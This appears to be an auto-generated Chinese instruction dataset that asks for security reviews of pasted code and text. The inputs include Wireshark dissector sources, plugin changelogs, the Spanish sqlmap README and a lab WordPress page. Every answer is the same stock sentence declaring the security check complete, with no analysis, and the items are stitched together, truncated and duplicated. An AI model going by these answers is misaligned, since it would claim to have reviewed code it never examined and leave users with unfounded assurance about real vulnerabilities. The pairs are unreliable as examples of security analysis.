#include <wireshark.h>
DIAG_OFF_CLANG(shorten-64-to-32)
DIAG_OFF_CLANG(comma)
#ifdef _MSC_VER
/* disable: " warning C4244: '=': conversion from 'lua _Integer' to 'int',
 * possible loss of data" */
#pragma warning(disable:4244)
/* warning C4267: '+=': conversion from 'size_t' to 'int',
 * possible loss of data */
#pragma warning(disable:4267)
#endif

#define malloc_free free
#define rex_atoi atoi

#include <stdlib.h>
#include <string.h>
#include <locale.h>
#include <ctype.h>
#include <stdint.h>
#include <pcre2.h>

#include "lua.h"
#include "lauxlib.h"
#include "../common.h"

#include <wslua/wslua.h>

extern int Lpcre2_get_flags (lua_State *L);
extern int Lpcre2_config (lua_State *L);
extern flag_pair pcre2_error_flags[];

/* These 2 settings may be redefined from the co...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog
All notable changes to **Traffic** is documented in this *changelog*.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and **Traffic** adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.1.0] - 2019-10-05
### Added
- It's now possible to use public CDN to serve Traffic scripts and stylesheets (see _Settings | Traffic | Options_).
- The option page shows the logging plugin used.
### Changed
- Better computing of KPIs when no data are collected on the current day.
- Cron jobs are now excluded from analytics.
- Traffic database table collation is now `utf8_unicode_ci`.
- The (nag) update message has now a link to display changelog.
### Fixed
- Error while creating Traffic database table with utf8mb4 charset for some version of MySQL.
- KPIs layout may be jammed by site-wide stylesheets.
- PHP notice and warning when trying to count calls when there's no call for current day.
- Some typos in tooltips.

## [1.0.0] - 2019-10-04
### Initial release


Instruction: 检查这段代码是否存在安全问题

Input:
# Changelog
All notable changes to **Traffic** is documented in this *changelog*.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and **Traffic** adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.1.0] - 2019-10-05
### Added
- It's now possible to use public CDN to serve Traffic scripts and stylesheets (see _Settings | Traffic | Options_).
- The option page shows the logging plugin used.
### Changed
- Better computing of KPIs when no data are collected on the current day.
- Cron jobs are now excluded from analytics.
- Traffic database table collation is now `utf8_unicode_ci`.
- The (nag) update message has now a link to display changelog.
### Fixed
- Error while creating Traffic database table with utf8mb4 charset for some version of MySQL.
- KPIs layout may be jammed by site-wide stylesheets.
- PHP notice and warning when trying to count calls when there's no call for current day.
- Some typos in tooltips.

## [1.0.0] - 2019-10-04
### Initial release

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
Capturas de Pantalla
---
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki).
Instalación
---
Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap):
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funciona con las s...


Instruction: 检查这段代码是否存在安全问题

Input:
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
Capturas de Pantalla
---
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki).
Instalación
---
Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap):
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap funciona con las s...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-qsig.c
 * Routines for QSIG packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <wsutil/strtoi.h>

#include "packet-ber.h"
#include "packet-qsig.h"

#define PNAME  "QSIG"
#define PSNAME "QSIG"
#define PFNAME "qsig"

/* Shifted codeset values */
#define CS0 0x000
#define CS1 0x100
#define CS2 0x200
#define CS3 0x300
#define CS4 0x400
#define CS5 0x500
#define CS6 0x600
#define CS7 0x700

#define	QSIG_IE_TRANSIT_COUNTER 0x31
#define	QSIG_IE_PARTY_CATEGORY  0x32

void proto_register_qsig(void);
void proto_reg_handoff_qsig(void);

static dissector_handle_t qsig_arg_handle;
static dissector_handle_t qsig_res_handle;
static dissector_handle_t qsig_err_handle;
static dissector_handle_t qsig_ie4_handle;
static dissector_handle_t qsig_ie5_handle;

static const value_string qsig_str_ie_type_cs4[] = {
  { QSIG_IE_TRANSIT_COUNTER , "Transit counter" },
  { 0, NULL}
};
static const value_string qsig_str_ie_type_cs5[] = {
  { QSIG_IE_PARTY_CATEGORY  , "Party category" },
  { 0, NULL}
};
/* Codeset array */
static const value_string *qsig_str_ie_type[] = {
  NULL,
  NULL,
  NULL,
  NULL,
  qsig_str_ie_type_cs4,
  qsig_str_ie_type_cs5,
  NULL,
  NULL,
};

static const value_string qsig_str_pc[] = {
  { 0x00 , "unknown" },
  { 0x01 , "extension" },
  { 0x02 , "operator" },
  { 0x03 , "emergency extension" },
  { 0, NULL}
};

static const value_string qsig_str_service[] = {
  { 13868, "QSIG-NA" },
  { 13873, "QSIG-CF" },
  { 13874, "QSIG-PR" },
  { 13869, "QSIG-CT" },
  { 13870, "QSIG-CC" },
  { 14843, "QSIG-CO" },
  { 14844, "QSIG-DND(O)" },
  { 14846, "QSIG-CI" },
  { 15050, "QSIG-AOC" },
  { 15052, "QSIG-RE" },
  { 15054, "QSIG-CINT" },
  { 15506, "QSIG-MWI" },
  { 15507, "SYNC-SIG" },
  {...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-qsig.c
 * Routines for QSIG packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <wsutil/strtoi.h>

#include "packet-ber.h"
#include "packet-qsig.h"

#define PNAME  "QSIG"
#define PSNAME "QSIG"
#define PFNAME "qsig"

/* Shifted codeset values */
#define CS0 0x000
#define CS1 0x100
#define CS2 0x200
#define CS3 0x300
#define CS4 0x400
#define CS5 0x500
#define CS6 0x600
#define CS7 0x700

#define	QSIG_IE_TRANSIT_COUNTER 0x31
#define	QSIG_IE_PARTY_CATEGORY  0x32

void proto_register_qsig(void);
void proto_reg_handoff_qsig(void);

static dissector_handle_t qsig_arg_handle;
static dissector_handle_t qsig_res_handle;
static dissector_handle_t qsig_err_handle;
static dissector_handle_t qsig_ie4_handle;
static dissector_handle_t qsig_ie5_handle;

static const value_string qsig_str_ie_type_cs4[] = {
  { QSIG_IE_TRANSIT_COUNTER , "Transit counter" },
  { 0, NULL}
};
static const value_string qsig_str_ie_type_cs5[] = {
  { QSIG_IE_PARTY_CATEGORY  , "Party category" },
  { 0, NULL}
};
/* Codeset array */
static const value_string *qsig_str_ie_type[] = {
  NULL,
  NULL,
  NULL,
  NULL,
  qsig_str_ie_type_cs4,
  qsig_str_ie_type_cs5,
  NULL,
  NULL,
};

static const value_string qsig_str_pc[] = {
  { 0x00 , "unknown" },
  { 0x01 , "extension" },
  { 0x02 , "operator" },
  { 0x03 , "emergency extension" },
  { 0, NULL}
};

static const value_string qsig_str_service[] = {
  { 13868, "QSIG-NA" },
  { 13873, "QSIG-CF" },
  { 13874, "QSIG-PR" },
  { 13869, "QSIG-CT" },
  { 13870, "QSIG-CC" },
  { 14843, "QSIG-CO" },
  { 14844, "QSIG-DND(O)" },
  { 14846, "QSIG-CI" },
  { 15050, "QSIG-AOC" },
  { 15052, "QSIG-RE" },
  { 15054, "QSIG-CINT" },
  { 15506, "QSIG-MWI" },
  { 15507, "SYNC-SIG" },
  {...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* file-rtpdump.c
 *
 * Routines for rtpdump file dissection
 * Copyright 2023, David Perry <boolean263@protonmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This dissects the rtpdump file format as generated by Wireshark.
 * See also https://wiki.wireshark.org/rtpdump
 * This file format was created as part of rtptools:
 * https://github.com/irtlab/rtptools
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <wsutil/strtoi.h>
#include <wsutil/inet_addr.h>

void proto_register_rtpdump(void);
void proto_reg_handoff_rtpdump(void);

/* Initialize the protocol and registered fields */
static int proto_rtpdump = -1;

static gint hf_rtpdump_text_header = -1;
static gint hf_rtpdump_play_program = -1;
static gint hf_rtpdump_version = -1;
static gint hf_rtpdump_txt_ipv4 = -1;
static gint hf_rtpdump_txt_ipv6 = -1;
static gint hf_rtpdump_txt_port = -1;

static gint hf_rtpdump_binary_header = -1;
static gint hf_rtpdump_ts_sec = -1;
static gint hf_rtpdump_ts_usec = -1;
static gint hf_rtpdump_ts = -1;
static gint hf_rtpdump_bin_addr = -1;
static gint hf_rtpdump_bin_port = -1;
static gint hf_rtpdump_padding = -1;

static gint hf_rtpdump_pkt = -1;
static gint hf_rtpdump_pkt_len = -1;
static gint hf_rtpdump_pkt_plen = -1;
static gint hf_rtpdump_pkt_offset = -1;
static gint hf_rtpdump_pkt_data = -1;

/* Initialize the subtree pointers */
static gint ett_rtpdump = -1;
static gint ett_rtpdump_text_header = -1;
static gint ett_rtpdump_binary_header = -1;
static gint ett_rtpdump_pkt = -1;

static expert_field ei_rtpdump_unknown_program = EI_INIT;
static expert_field ei_rtpdump_unknown_version = EI_INIT;
static expert_field ei_rtpdump_bad_txt_addr = EI_INIT;
static expert_field ei_rtpdump_bad_txt_port = EI_INIT;
static expert_field ei_rtpdump_bin_ipv6 = EI_INIT;
static expert_field ei_rtpdump_addrs_match = EI_INIT;
static expe...


Instruction: 检查这段代码是否存在安全问题

Input:
/* file-rtpdump.c
 *
 * Routines for rtpdump file dissection
 * Copyright 2023, David Perry <boolean263@protonmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This dissects the rtpdump file format as generated by Wireshark.
 * See also https://wiki.wireshark.org/rtpdump
 * This file format was created as part of rtptools:
 * https://github.com/irtlab/rtptools
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <wsutil/strtoi.h>
#include <wsutil/inet_addr.h>

void proto_register_rtpdump(void);
void proto_reg_handoff_rtpdump(void);

/* Initialize the protocol and registered fields */
static int proto_rtpdump = -1;

static gint hf_rtpdump_text_header = -1;
static gint hf_rtpdump_play_program = -1;
static gint hf_rtpdump_version = -1;
static gint hf_rtpdump_txt_ipv4 = -1;
static gint hf_rtpdump_txt_ipv6 = -1;
static gint hf_rtpdump_txt_port = -1;

static gint hf_rtpdump_binary_header = -1;
static gint hf_rtpdump_ts_sec = -1;
static gint hf_rtpdump_ts_usec = -1;
static gint hf_rtpdump_ts = -1;
static gint hf_rtpdump_bin_addr = -1;
static gint hf_rtpdump_bin_port = -1;
static gint hf_rtpdump_padding = -1;

static gint hf_rtpdump_pkt = -1;
static gint hf_rtpdump_pkt_len = -1;
static gint hf_rtpdump_pkt_plen = -1;
static gint hf_rtpdump_pkt_offset = -1;
static gint hf_rtpdump_pkt_data = -1;

/* Initialize the subtree pointers */
static gint ett_rtpdump = -1;
static gint ett_rtpdump_text_header = -1;
static gint ett_rtpdump_binary_header = -1;
static gint ett_rtpdump_pkt = -1;

static expert_field ei_rtpdump_unknown_program = EI_INIT;
static expert_field ei_rtpdump_unknown_version = EI_INIT;
static expert_field ei_rtpdump_bad_txt_addr = EI_INIT;
static expert_field ei_rtpdump_bad_txt_port = EI_INIT;
static expert_field ei_rtpdump_bin_ipv6 = EI_INIT;
static expert_field ei_rtpdump_addrs_match = EI_INIT;
static expe...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dlm3.c
 * Routines for dlm3 dissection
 * Copyright 2007, Masatake YAMATO <jet@gyve.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This dissector supports version 3.0 of the dlm(Distributed Lock Manager)
   protocol

   Actual implementation for the protocol is in linux kernel.
   See files under linux/fs/dlm/ */

/*
 * #defines are mostly copied from
 * *.[ch] files in linux/fs/dlm/ and linux/include/linux/dlm.h
 *
 * dlm_internal.h:
 * -----------------------------------------------------------------------
 **  Copyright (C) Sistina Software, Inc.  1997-2003  All rights reserved.
 **  Copyright (C) 2004-2005 Red Hat, Inc.  All rights reserved.
 **
 **  This copyrighted material is made available to anyone wishing to use,
 **  modify, copy, or redistribute it subject to the terms and conditions
 **  of the GNU General Public License v.2.
 * -----------------------------------------------------------------------
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define TCP_PORT_DLM3           21064 /* Not IANA registered */
#define SCTP_PORT_DLM3          TCP_PORT_DLM3

#define DLM3_MAJOR_VERSION      0x00030000
#define DLM3_MINOR_VERSION_MAX  0x00000002

#define DLM_VERSION_3_1         0x00030001
#define DLM_VERSION_3_2         0x00030002

#define DLM3_MSG                1
#define DLM3_RCOM               2
#define DLM3_OPTS               3
#define DLM3_ACK                4
#define DLM3_FIN                5

#define DLM3_MSG_REQUEST        1
#define DLM3_MSG_CONVERT        2
#define DLM3_MSG_UNLOCK         3
#define DLM3_MSG_CANCEL         4
#define DLM3_MSG_REQUEST_REPLY  5
#define DLM3_MSG_CONVERT_REPLY  6
#define DLM3_MSG_UNLOCK_REPLY   7
#define DLM3_MSG_CANCEL_REPLY   8
#define DLM3_MSG_GRANT          9
#define DLM3_MSG_BAST           10
#define DLM3_MSG_LOOKUP         11
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dlm3.c
 * Routines for dlm3 dissection
 * Copyright 2007, Masatake YAMATO <jet@gyve.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This dissector supports version 3.0 of the dlm(Distributed Lock Manager)
   protocol

   Actual implementation for the protocol is in linux kernel.
   See files under linux/fs/dlm/ */

/*
 * #defines are mostly copied from
 * *.[ch] files in linux/fs/dlm/ and linux/include/linux/dlm.h
 *
 * dlm_internal.h:
 * -----------------------------------------------------------------------
 **  Copyright (C) Sistina Software, Inc.  1997-2003  All rights reserved.
 **  Copyright (C) 2004-2005 Red Hat, Inc.  All rights reserved.
 **
 **  This copyrighted material is made available to anyone wishing to use,
 **  modify, copy, or redistribute it subject to the terms and conditions
 **  of the GNU General Public License v.2.
 * -----------------------------------------------------------------------
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define TCP_PORT_DLM3           21064 /* Not IANA registered */
#define SCTP_PORT_DLM3          TCP_PORT_DLM3

#define DLM3_MAJOR_VERSION      0x00030000
#define DLM3_MINOR_VERSION_MAX  0x00000002

#define DLM_VERSION_3_1         0x00030001
#define DLM_VERSION_3_2         0x00030002

#define DLM3_MSG                1
#define DLM3_RCOM               2
#define DLM3_OPTS               3
#define DLM3_ACK                4
#define DLM3_FIN                5

#define DLM3_MSG_REQUEST        1
#define DLM3_MSG_CONVERT        2
#define DLM3_MSG_UNLOCK         3
#define DLM3_MSG_CANCEL         4
#define DLM3_MSG_REQUEST_REPLY  5
#define DLM3_MSG_CONVERT_REPLY  6
#define DLM3_MSG_UNLOCK_REPLY   7
#define DLM3_MSG_CANCEL_REPLY   8
#define DLM3_MSG_GRANT          9
#define DLM3_MSG_BAST           10
#define DLM3_MSG_LOOKUP         11
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title> wordpress-2.9.2</title>

<link rel="stylesheet" href="http://wp.lab/wordpress-2.9.2/wp-content/themes/default/style.css" type="text/css" media="screen" />
<link rel="pingback" href="http://wp.lab/wordpress-2.9.2/xmlrpc.php" />

<style type="text/css" media="screen">

  #page { background: url("http://wp.lab/wordpress-2.9.2/wp-content/themes/default/images/kubrickbg-ltr.jpg") repeat-y top; border: none; }

</style>

<meta name='robots' content='noindex,nofollow' />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 &raquo; Feed" href="http://wp.lab/wordpress-2.9.2/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 &raquo; Comments Feed" href="http://wp.lab/wordpress-2.9.2/?feed=comments-rss2" />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 &raquo; Posts by  Feed" href="http://wp.lab/wordpress-2.9.2/?feed=rss2&amp;author=4" />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://wp.lab/wordpress-2.9.2/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://wp.lab/wordpress-2.9.2/wp-includes/wlwmanifest.xml" />
<link rel='index' title='wordpress-2.9.2' href='http://wp.lab/wordpress-2.9.2' />
<meta name="generator" content="WordPress 2.9.2" />
</head>
<body class="archive author author-">
<div id="page">

<div id="header" role="banner">
  <div id="headerimg">
    <h1><a href="http://wp.lab/wordpress-2.9.2/">wordpress-2.9.2</a></h1>
    <div class="description">Just another WordPress weblog</div>
  </div>
</div>
<hr />

  <div id="content" class="narrowcolumn" role="main">

    <h2 class='center'>Sorry, but there aren't any posts ...


Instruction: 检查这段代码是否存在安全问题

Input:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title> wordpress-2.9.2</title>

<link rel="stylesheet" href="http://wp.lab/wordpress-2.9.2/wp-content/themes/default/style.css" type="text/css" media="screen" />
<link rel="pingback" href="http://wp.lab/wordpress-2.9.2/xmlrpc.php" />

<meta name='robots' content='noindex,nofollow' />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 » Feed" href="http://wp.lab/wordpress-2.9.2/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 » Comments Feed" href="http://wp.lab/wordpress-2.9.2/?feed=comments-rss2" />
<link rel="alternate" type="application/rss+xml" title="wordpress-2.9.2 » Posts by  Feed" href="http://wp.lab/wordpress-2.9.2/?feed=rss2&author=4" />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://wp.lab/wordpress-2.9.2/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://wp.lab/wordpress-2.9.2/wp-includes/wlwmanifest.xml" />
<link rel='index' title='wordpress-2.9.2' href='http://wp.lab/wordpress-2.9.2' />
<meta name="generator" content="WordPress 2.9.2" />

wordpress-2.9.2

Just another WordPress weblog

Sorry, but there aren't any posts ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-rdpudp.c
 * Routines for RDP multi transport packet dissection
 * Copyright 2021, David Fort
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/conversation.h>

#include "packet-rdp.h"
#include "packet-rdpudp.h"

#define PNAME  "Remote Desktop Protocol Multi-transport"
#define PSNAME "RDPMT"
#define PFNAME "rdpmt"

void proto_register_rdpmt(void);
void proto_reg_handoff_rdpmt(void);

static dissector_handle_t rdpmt_handle;

static int proto_rdpmt = -1;

static int pf_mt_action = -1;
static int pf_mt_flags = -1;
static int pf_mt_payload_len = -1;
static int pf_mt_header_len = -1;
static int pf_mt_subheader_len = -1;
static int pf_mt_subheader_type = -1;
static int pf_mt_createreq_reqId = -1;
static int pf_mt_createreq_reserved = -1;
static int pf_mt_createreq_cookie = -1;
static int pf_mt_createresp_hrResponse = -1;

static int ett_rdpmt = -1;
static int ett_rdpudp_subheaders = -1;
static int ett_rdpmt_create_req = -1;
static int ett_rdpmt_create_resp = -1;
static int ett_rdpmt_data = -1;

static dissector_handle_t drdynvcDissector;

static const value_string rdpmt_action_vals[] = {
	{ 0x00, "CreateRequest"},
	{ 0x01, "CreateResponse"},
	{ 0x02, "Data"},
	{ 0x00, NULL}
};

static const value_string rdpmt_subheader_type_vals[] = {
	{ 0x0, "auto detect request" },
	{ 0x1, "auto detect response" },
	{ 0x0, NULL}
};

enum {
	RDPMT_TUNNEL_CREATE_REQ = 0,
	RDPMT_TUNNEL_CREATE_RESP = 1,
	RDPMT_TUNNEL_DATA = 2,
};

static int
dissect_rdpmt(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, void *data _U_)
{
	proto_item *item;
	proto_tree *tree, *subtree;
	guint8 action, subheader_len;
	guint16 payload_len;
	int offset = 0;

	item = proto_tree_add_item(parent_tree, proto_rdpmt, tvb, 0, -1, ENC_NA);
	tree = proto_item_add_subtree(item...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-rdpudp.c
 * Routines for RDP multi transport packet dissection
 * Copyright 2021, David Fort
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/conversation.h>

#include "packet-rdp.h"
#include "packet-rdpudp.h"

#define PNAME  "Remote Desktop Protocol Multi-transport"
#define PSNAME "RDPMT"
#define PFNAME "rdpmt"

void proto_register_rdpmt(void);
void proto_reg_handoff_rdpmt(void);

static dissector_handle_t rdpmt_handle;

static int proto_rdpmt = -1;

static int pf_mt_action = -1;
static int pf_mt_flags = -1;
static int pf_mt_payload_len = -1;
static int pf_mt_header_len = -1;
static int pf_mt_subheader_len = -1;
static int pf_mt_subheader_type = -1;
static int pf_mt_createreq_reqId = -1;
static int pf_mt_createreq_reserved = -1;
static int pf_mt_createreq_cookie = -1;
static int pf_mt_createresp_hrResponse = -1;

static int ett_rdpmt = -1;
static int ett_rdpudp_subheaders = -1;
static int ett_rdpmt_create_req = -1;
static int ett_rdpmt_create_resp = -1;
static int ett_rdpmt_data = -1;

static dissector_handle_t drdynvcDissector;

static const value_string rdpmt_action_vals[] = {
	{ 0x00, "CreateRequest"},
	{ 0x01, "CreateResponse"},
	{ 0x02, "Data"},
	{ 0x00, NULL}
};

static const value_string rdpmt_subheader_type_vals[] = {
	{ 0x0, "auto detect request" },
	{ 0x1, "auto detect response" },
	{ 0x0, NULL}
};

enum {
	RDPMT_TUNNEL_CREATE_REQ = 0,
	RDPMT_TUNNEL_CREATE_RESP = 1,
	RDPMT_TUNNEL_DATA = 2,
};

static int
dissect_rdpmt(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, void *data _U_)
{
	proto_item *item;
	proto_tree *tree, *subtree;
	guint8 action, subheader_len;
	guint16 payload_len;
	int offset = 0;

	item = proto_tree_add_item(parent_tree, proto_rdpmt, tvb, 0, -1, ENC_NA);
	tree = proto_item_add_subtree(item...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog

### 1.0

*Release date - 26 November 2020*

* First stable release of the VikRestaurants plugin for WordPress.


Instruction: 检查这段代码是否存在安全问题

Input:
# Changelog

### 1.0

*Release date - 26 November 2020*

* First stable release of the VikRestaurants plugin for WordPress.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* please_report_bug.c
 * Routines returning strings to use when reporting a bug.
 * They ask the user to report a bug to the Wireshark developers.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "please_report_bug.h"

/*
 * Long message, to use in alert boxes and printed messages.
 */
const char *
please_report_bug(void)
{
    return
        "Please report this to the Wireshark developers as a bug.\n"
        "https://gitlab.com/wireshark/wireshark/issues\n"
        "(This is not a crash; please do not say, in your report, that it is a crash.)";
}

/*
 * Short message, to use in status bar messages.
 */
const char *
please_report_bug_short(void)
{
    return "Please report this to the Wireshark developers.";
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* please_report_bug.c
 * Routines returning strings to use when reporting a bug.
 * They ask the user to report a bug to the Wireshark developers.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "please_report_bug.h"

/*
 * Long message, to use in alert boxes and printed messages.
 */
const char *
please_report_bug(void)
{
    return
        "Please report this to the Wireshark developers as a bug.\n"
        "https://gitlab.com/wireshark/wireshark/issues\n"
        "(This is not a crash; please do not say, in your report, that it is a crash.)";
}

/*
 * Short message, to use in status bar messages.
 */
const char *
please_report_bug_short(void)
{
    return "Please report this to the Wireshark developers.";
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* mac_mgmt_msg_decoder.c
 * WiMax MAC Management Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Lu Pan <lu.pan@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "wimax_mac.h"

void proto_register_mac_mgmt_msg(void);
void proto_reg_handoff_mac_mgmt_msg(void);

static gint proto_mac_mgmt_msg_decoder = -1;
static gint ett_mac_mgmt_msg_decoder = -1;

static gint hf_mac_mgmt_msg_type = -1;
static gint hf_mac_mgmt_msg_values = -1;

static expert_field ei_empty_payload = EI_INIT;

